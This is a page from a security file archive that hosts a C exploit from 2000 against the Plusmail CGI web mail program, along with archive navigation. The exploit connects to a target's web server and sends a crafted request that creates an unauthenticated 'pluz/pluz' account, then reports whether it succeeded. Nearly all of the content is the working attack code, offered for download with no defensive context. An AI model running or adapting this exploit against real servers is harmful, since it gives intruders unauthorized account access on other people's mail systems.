exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pm-exploit.c

pm-exploit.c
Posted Jul 28, 2000
Authored by Headflux | Site synnergy.net

Plusmail remote exploit - plusmail fails to check authenticity before creating new accounts.

tags | exploit, remote
SHA-256 | d135ccf5f8a6a9533ff037f70b405c3d3242fbe73307d53c2851b300624a774d

pm-exploit.c

Change Mirror Download
/*
* [Synnergy Networks http://www.synnergy.net]
*
* Title: plusbug.c - [remote plusmail exploit]
* Author: headflux (hf@synnergy.net)
* Date: 01.10.2000
* Description: plusmail fails to check authenticity before creating new
* accounts
*
* [Synnergy Networks (c) 2000, http://www.synnergy.net]
*/

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main(int argc, char *argv[])
{
char *expcgi = "GET /cgi-bin/plusmail?login=pluz&password=pluz&"
"password1=pluz&new_login=Login HTTP/1.0\n\n";

struct hostent *hp;
struct in_addr addr;
struct sockaddr_in s;
u_char buf[280];
int p, i;

if (argc < 1)
{
printf("usage: %s hostname\n", argv[0]);
exit(1);
}

hp = gethostbyname(argv[1]);
if(!hp)
{
printf("bad hostname.\n");
exit(1);
}

bcopy (hp->h_addr, &addr, sizeof (struct in_addr));
p = socket (s.sin_family = 2, 1, IPPROTO_TCP);
s.sin_port = htons(80);
s.sin_addr.s_addr = inet_addr (inet_ntoa (addr));

if(connect (p, &s, sizeof (s))!=0)
{
printf("error: unable to connect.\n");
return;
}
else
{
send(p, expcgi, strlen(expcgi), 0);
alarm(5);
read(p, buf, 255);
close(p);
}

if (strstr(buf, "200 OK") && ! strstr(buf, "Invalid"))
printf("account pluz/pluz created.\n");
else
printf("exploit failed.\n");

return(0);
}
/* www.hack.co.za [21 July]*/
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close